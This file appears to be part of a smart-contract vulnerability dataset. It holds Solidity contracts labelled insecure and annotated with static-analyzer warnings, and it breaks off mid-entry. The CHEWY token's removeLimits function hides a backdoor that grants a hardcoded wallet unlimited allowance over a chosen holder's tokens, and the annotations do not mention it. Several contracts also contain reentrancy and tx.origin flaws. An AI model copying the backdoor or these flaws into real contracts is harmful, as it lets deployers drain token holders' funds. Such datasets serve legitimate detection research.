files dict |
|---|
{
"code": "// SPDX-License-Identifier: Apache-2.0\n\npragma solidity ^0.8.0;\n\nimport \"./IAccessControlEnumerable.sol\" as IAccessControlEnumerable;\nimport \"@openzeppelin/contracts/access/AccessControl.sol\" as AccessControl;\nimport \"@openzeppelin/contracts/utils/structs/EnumerableSet.sol\" as EnumerableSet;\n\nabstract contract AccessControlEnumerable is\n IAccessControlEnumerable,\n AccessControl\n{\n using EnumerableSet for EnumerableSet.AddressSet;\n\n mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers;\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override returns (bool) {\n return\n interfaceId == type(IAccessControlEnumerable).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function getRoleMember(\n bytes32 role,\n uint256 index\n ) public view virtual override returns (address) {\n return _roleMembers[role].at(index);\n }\n\n function getRoleMemberCount(\n bytes32 role\n ) public view virtual override returns (uint256) {\n return _roleMembers[role].length();\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c1d75ba): AccessControlEnumerable._grantRole(bytes32,address) ignores return value by _roleMembers[role].add(account)\n\t// Recommendation for c1d75ba: Ensure that all the return values of the function calls are used.\n function _grantRole(\n bytes32 role,\n address account\n ) internal virtual override {\n super._grantRole(role, account);\n\t\t// unused-return | ID: c1d75ba\n _roleMembers[role].add(account);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 55d9161): AccessControlEnumerable._revokeRole(bytes32,address) ignores return value by _roleMembers[role].remove(account)\n\t// Recommendation for 55d9161: Ensure that all the return values of the function calls are used.\n function _revokeRole(\n bytes32 role,\n address account\n ) internal virtual override {\n super._revokeRole(role, account);\n\t\t// unused-return | ID: 55d9161\n _roleMembers[role].remove(account);\n }\n}",
"file_name": "solidity_code_3339.sol",
"secure": 0,
"size_bytes": 2196
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract CHEWY is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFees;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: ee6840b): CHEWY._bots is never initialized. It is used in CHEWY._transfer(address,address,uint256)\n\t// Recommendation for ee6840b: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private _bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3fcd3de): CHEWY._gnomesig should be immutable \n\t// Recommendation for 3fcd3de: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _gnomesig;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a206f16): CHEWY._taxWallet should be immutable \n\t// Recommendation for a206f16: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Chewy\";\n\n string private constant _symbol = unicode\"CHEWY\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletAmount = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 22313ad): CHEWY._minTaxSwap should be constant \n\t// Recommendation for 22313ad: Add the 'constant' attribute to state variables that never change.\n uint256 public _minTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 65e5fac): CHEWY._maxTaxSwap should be constant \n\t// Recommendation for 65e5fac: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: d0eccb8): CHEWY._initialBuyTax should be constant \n\t// Recommendation for d0eccb8: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: e17041b): CHEWY._initialSellTax should be constant \n\t// Recommendation for e17041b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1f86fe3): CHEWY._finalBuyTax should be constant \n\t// Recommendation for 1f86fe3: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 222d087): CHEWY._finalSellTax should be constant \n\t// Recommendation for 222d087: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9f4f57c): CHEWY._reduceBuyAt should be constant \n\t// Recommendation for 9f4f57c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 72d66ab): CHEWY._reduceSellAt should be constant \n\t// Recommendation for 72d66ab: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 05a257d): CHEWY._preventCount should be constant \n\t// Recommendation for 05a257d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventCount = 12;\n\n uint256 private _buyCounts = 0;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private caSellLimits = true;\n\n uint256 private caBlockLmits = 0;\n\n IUniswapV2Router02 private uniRouter;\n\n address private uniPair;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = _gnomesig = payable(\n 0xF788bec724106b0Fe4b6DC9F1626aec60Cc23EFa\n );\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFees[owner()] = true;\n\n _isExcludedFees[address(this)] = true;\n\n _isExcludedFees[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e99e3d9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e99e3d9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d63c992): CHEWY.openTrading() ignores return value by uniRouter.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for d63c992: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2333e1f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2333e1f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: e99e3d9\n\t\t// unused-return | ID: d63c992\n\t\t// reentrancy-eth | ID: 2333e1f\n uniRouter.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: e99e3d9\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 2333e1f\n tradingOpen = true;\n }\n\n function initTrading() external onlyOwner {\n uniRouter = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniRouter), _tTotal);\n\n uniPair = IUniswapV2Factory(uniRouter.factory()).createPair(\n address(this),\n uniRouter.WETH()\n );\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a50dbb1): CHEWY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a50dbb1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c119af0): CHEWY.approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for c119af0: Rename the local variables that shadow another component.\n function approve(address owner, address spender, uint256 amount) private {\n _allowances[owner][spender] = amount;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 72b5a90): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 72b5a90: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 01068a8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 01068a8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 72b5a90\n\t\t// reentrancy-benign | ID: 01068a8\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 72b5a90\n\t\t// reentrancy-benign | ID: 01068a8\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5135edc): CHEWY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5135edc: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 01068a8\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 72b5a90\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0a00897): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0a00897: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: ecf42e3): CHEWY._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for ecf42e3: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: ee6840b): CHEWY._bots is never initialized. It is used in CHEWY._transfer(address,address,uint256)\n\t// Recommendation for ee6840b: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2058d20): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2058d20: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 756782b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 756782b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n uint256 fees = 0;\n\n if (from != owner() && to != owner()) {\n require(!_bots[from] && !_bots[to]);\n\n fees = amount\n .mul(\n (_buyCounts > _reduceBuyAt) ? _finalBuyTax : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniPair &&\n to != address(uniRouter) &&\n !_isExcludedFees[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletAmount,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCounts++;\n }\n\n if (to == uniPair && from != address(this)) {\n fees = amount\n .mul(\n (_buyCounts > _reduceSellAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: ecf42e3\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: 0a00897\n\t\t\t\t\t// reentrancy-eth | ID: 2058d20\n\t\t\t\t\t// reentrancy-eth | ID: 756782b\n sendToEth(address(this).balance);\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniPair &&\n swapEnabled &&\n contractTokenBalance > _minTaxSwap &&\n _buyCounts > _preventCount\n ) {\n if (caSellLimits) {\n if (caBlockLmits < block.number) {\n\t\t\t\t\t\t// reentrancy-events | ID: 0a00897\n\t\t\t\t\t\t// reentrancy-eth | ID: 2058d20\n\t\t\t\t\t\t// reentrancy-eth | ID: 756782b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t\t// reentrancy-events | ID: 0a00897\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 2058d20\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 756782b\n sendToEth(address(this).balance);\n }\n\n\t\t\t\t\t\t// reentrancy-eth | ID: 756782b\n caBlockLmits = block.number;\n }\n } else {\n\t\t\t\t\t// reentrancy-events | ID: 0a00897\n\t\t\t\t\t// reentrancy-eth | ID: 2058d20\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t// reentrancy-events | ID: 0a00897\n\t\t\t\t\t\t// reentrancy-eth | ID: 2058d20\n sendToEth(address(this).balance);\n }\n }\n }\n }\n\n if (fees > 0) {\n\t\t\t// reentrancy-eth | ID: 2058d20\n _balances[address(this)] = _balances[address(this)].add(fees);\n\n\t\t\t// reentrancy-events | ID: 0a00897\n emit Transfer(from, address(this), fees);\n }\n\n\t\t// reentrancy-eth | ID: 2058d20\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 2058d20\n _balances[to] = _balances[to].add(amount.sub(fees));\n\n\t\t// reentrancy-events | ID: 0a00897\n emit Transfer(from, to, amount.sub(fees));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function removeLimits(address _limits) external onlyOwner {\n caSellLimits = false;\n\n _maxTxAmount = _tTotal;\n\n _maxWalletAmount = _tTotal;\n\n _allowances[_limits][_gnomesig] = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function withdrawEth() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function sendToEth(uint256 amount) private {\n\t\t// reentrancy-events | ID: 72b5a90\n\t\t// reentrancy-events | ID: 0a00897\n\t\t// reentrancy-eth | ID: 2058d20\n\t\t// reentrancy-eth | ID: 756782b\n _taxWallet.transfer(amount);\n }\n\n receive() external payable {}\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniRouter.WETH();\n\n _approve(address(this), address(uniRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: 72b5a90\n\t\t// reentrancy-events | ID: 0a00897\n\t\t// reentrancy-benign | ID: 01068a8\n\t\t// reentrancy-eth | ID: 2058d20\n\t\t// reentrancy-eth | ID: 756782b\n uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n}",
"file_name": "solidity_code_334.sol",
"secure": 0,
"size_bytes": 18587
} |
{
"code": "// SPDX-License-Identifier: Apache-2.0\n\npragma solidity ^0.8.0;\n\nimport \"./Multicall.sol\" as Multicall;\nimport \"@openzeppelin/contracts/metatx/ERC2771Context.sol\" as ERC2771Context;\nimport \"./AccessControlEnumerable.sol\" as AccessControlEnumerable;\nimport \"@openzeppelin/contracts/utils/structs/EnumerableSet.sol\" as EnumerableSet;\n\ncontract TWRegistry is Multicall, ERC2771Context, AccessControlEnumerable {\n bytes32 public constant OPERATOR_ROLE = keccak256(\"OPERATOR_ROLE\");\n\n using EnumerableSet for EnumerableSet.AddressSet;\n\n mapping(address => EnumerableSet.AddressSet) private deployments;\n\n event Added(address indexed deployer, address indexed deployment);\n event Deleted(address indexed deployer, address indexed deployment);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e4cdc23): TWRegistry.constructor(address)._trustedForwarder shadows ERC2771Context._trustedForwarder (state variable)\n\t// Recommendation for e4cdc23: Rename the local variables that shadow another component.\n constructor(address _trustedForwarder) ERC2771Context(_trustedForwarder) {\n _setupRole(DEFAULT_ADMIN_ROLE, _msgSender());\n }\n\n function add(address _deployer, address _deployment) external {\n require(\n hasRole(OPERATOR_ROLE, _msgSender()) || _deployer == _msgSender(),\n \"not operator or deployer.\"\n );\n\n bool added = deployments[_deployer].add(_deployment);\n require(added, \"failed to add\");\n\n emit Added(_deployer, _deployment);\n }\n\n function remove(address _deployer, address _deployment) external {\n require(\n hasRole(OPERATOR_ROLE, _msgSender()) || _deployer == _msgSender(),\n \"not operator or deployer.\"\n );\n\n bool removed = deployments[_deployer].remove(_deployment);\n require(removed, \"failed to remove\");\n\n emit Deleted(_deployer, _deployment);\n }\n\n function getAll(\n address _deployer\n ) external view returns (address[] memory) {\n return deployments[_deployer].values();\n }\n\n function count(address _deployer) external view returns (uint256) {\n return deployments[_deployer].length();\n }\n\n function _msgSender()\n internal\n view\n virtual\n override(Context, ERC2771Context)\n returns (address sender)\n {\n return ERC2771Context._msgSender();\n }\n\n function _msgData()\n internal\n view\n virtual\n override(Context, ERC2771Context)\n returns (bytes calldata)\n {\n return ERC2771Context._msgData();\n }\n}",
"file_name": "solidity_code_3340.sol",
"secure": 0,
"size_bytes": 2684
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol\" as IUniswapV2Pair;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract NESTCOIN is ERC20, Ownable {\n using SafeMath for uint256;\n\n IUniswapV2Router02 public uniswapV2Router;\n address public uniswapV2Pair;\n address public constant deadAddress = address(0xdead);\n\n bool private swapping;\n bool private lpBurnFreq = false;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e67e067): NESTCOIN.maxTransactionAmount should be immutable \n\t// Recommendation for e67e067: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxTransactionAmount;\n\t// WARNING Optimization Issue (immutable-states | ID: 23bac78): NESTCOIN.swapTokensAtAmount should be immutable \n\t// Recommendation for 23bac78: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public swapTokensAtAmount;\n\t// WARNING Optimization Issue (immutable-states | ID: df28ef6): NESTCOIN.maxWallet should be immutable \n\t// Recommendation for df28ef6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2e371a3): NESTCOIN.operations should be immutable \n\t// Recommendation for 2e371a3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public operations;\n\t// WARNING Optimization Issue (immutable-states | ID: 47f7f6b): NESTCOIN.teamWallet should be immutable \n\t// Recommendation for 47f7f6b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public teamWallet;\n\n bool public limitsInEffect = true;\n bool public tradingActive = false;\n bool public swapEnabled = false;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n bool public transferDelayEnabled = true;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2db6029): NESTCOIN.buyTotalFees should be immutable \n\t// Recommendation for 2db6029: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public buyTotalFees;\n\t// WARNING Optimization Issue (immutable-states | ID: 79ea98c): NESTCOIN.buyMarketingFee should be immutable \n\t// Recommendation for 79ea98c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public buyMarketingFee;\n\t// WARNING Optimization Issue (immutable-states | ID: b83b5f5): NESTCOIN.buyLiquidityFee should be immutable \n\t// Recommendation for b83b5f5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public buyLiquidityFee;\n\t// WARNING Optimization Issue (immutable-states | ID: 974d92a): NESTCOIN.buyDevFee should be immutable \n\t// Recommendation for 974d92a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public buyDevFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 38568c1): NESTCOIN.sellTotalFees should be immutable \n\t// Recommendation for 38568c1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public sellTotalFees;\n\t// WARNING Optimization Issue (immutable-states | ID: a2ae843): NESTCOIN.sellMarketingFee should be immutable \n\t// Recommendation for a2ae843: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public sellMarketingFee;\n\t// WARNING Optimization Issue (immutable-states | ID: c9feae5): NESTCOIN.sellLiquidityFee should be immutable \n\t// Recommendation for c9feae5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public sellLiquidityFee;\n\t// WARNING Optimization Issue (immutable-states | ID: b0d29e6): NESTCOIN.sellDevFee should be immutable \n\t// Recommendation for b0d29e6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public sellDevFee;\n\n uint256 public tokensForMarketing;\n uint256 public tokensForLiquidity;\n uint256 public tokensForDev;\n\n\t// WARNING Optimization Issue (constable-states | ID: bd2b4f3): NESTCOIN.percentForLPBurn should be constant \n\t// Recommendation for bd2b4f3: Add the 'constant' attribute to state variables that never change.\n uint256 public percentForLPBurn = 20;\n\t// WARNING Optimization Issue (constable-states | ID: fc0d1f6): NESTCOIN.lpBurnEnabled should be constant \n\t// Recommendation for fc0d1f6: Add the 'constant' attribute to state variables that never change.\n bool public lpBurnEnabled = false;\n\t// WARNING Optimization Issue (constable-states | ID: b2e0f08): NESTCOIN.lpBurnFrequency should be constant \n\t// Recommendation for b2e0f08: Add the 'constant' attribute to state variables that never change.\n uint256 public lpBurnFrequency = 12000 seconds;\n uint256 public lastLpBurnTime;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4b26e19): NESTCOIN.manualBurnFrequency should be constant \n\t// Recommendation for 4b26e19: Add the 'constant' attribute to state variables that never change.\n uint256 public manualBurnFrequency = 2220 minutes;\n\t// WARNING Optimization Issue (constable-states | ID: 8669151): NESTCOIN.lastManualLpBurnTime should be constant \n\t// Recommendation for 8669151: Add the 'constant' attribute to state variables that never change.\n uint256 public lastManualLpBurnTime;\n\n mapping(address => bool) private _isExcludedFromFees;\n mapping(address => bool) public _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) public automatedMarketMakerPair;\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n event SwapAndLiquify(\n uint256 tokensSwapped,\n uint256 ethReceived,\n uint256 tokensIntoLiquidity\n );\n\n event AutoNukeLP();\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cc5b35e): NESTCOIN.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for cc5b35e: Rename the local variables that shadow another component.\n constructor() ERC20(unicode\"Neonest\", unicode\"NEST\") {\n teamWallet = address(0x184422AB3d04FD084D42F4312FD16cbC45a37abC);\n operations = address(0xb44Cc591AE40e6435017417caE1C1e43E70F51FC);\n\n uint256 totalSupply = 100_000_000 * 1e18;\n maxTransactionAmount = (totalSupply * 20) / 1000;\n maxWallet = (totalSupply * 20) / 1000;\n\n swapTokensAtAmount = (totalSupply * 1) / 1000;\n\n uint256 _buyMarketingFee = 2;\n uint256 _buyLiquidityFee = 0;\n uint256 _buyDevFee = 0;\n\n uint256 _sellMarketingFee = 2;\n uint256 _sellLiquidityFee = 0;\n uint256 _sellDevFee = 0;\n\n buyMarketingFee = _buyMarketingFee;\n buyLiquidityFee = _buyLiquidityFee;\n buyDevFee = _buyDevFee;\n buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;\n\n sellMarketingFee = _sellMarketingFee;\n sellLiquidityFee = _sellLiquidityFee;\n sellDevFee = _sellDevFee;\n sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;\n\n excludeFromFees(owner(), true);\n excludeFromFees(operations, true);\n excludeFromFees(teamWallet, true);\n excludeFromFees(address(this), true);\n\n excludeFromMaxTransaction(owner(), true);\n excludeFromMaxTransaction(operations, true);\n excludeFromMaxTransaction(teamWallet, true);\n excludeFromMaxTransaction(address(this), true);\n\n _mint(msg.sender, totalSupply);\n }\n\n function excludeFromMaxTransaction(\n address updAds,\n bool isEx\n ) public onlyOwner {\n\t\t// reentrancy-benign | ID: 8a7a580\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n emit ExcludeFromFees(account, excluded);\n }\n\n function isExcludedFromFees(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n function removeLimits() external onlyOwner returns (bool) {\n limitsInEffect = false;\n transferDelayEnabled = false;\n return true;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c3095da): NESTCOIN.addLiquidity(uint256,uint256) ignores return value by uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,deadAddress,block.timestamp)\n\t// Recommendation for c3095da: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 59fa3c3\n\t\t// reentrancy-events | ID: 0c31fec\n\t\t// reentrancy-benign | ID: 4a5c3d6\n\t\t// unused-return | ID: c3095da\n\t\t// reentrancy-eth | ID: 8931ebe\n\t\t// reentrancy-eth | ID: 918287f\n uniswapV2Router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n deadAddress,\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 5e266fd): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 5e266fd: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0c31fec): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0c31fec: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 461c02c): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for 461c02c: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 5d10693): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 5d10693: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: b81d1d0): NESTCOIN._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(buyTotalFees).div(100) tokensForDev += (fees * buyDevFee) / buyTotalFees\n\t// Recommendation for b81d1d0: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 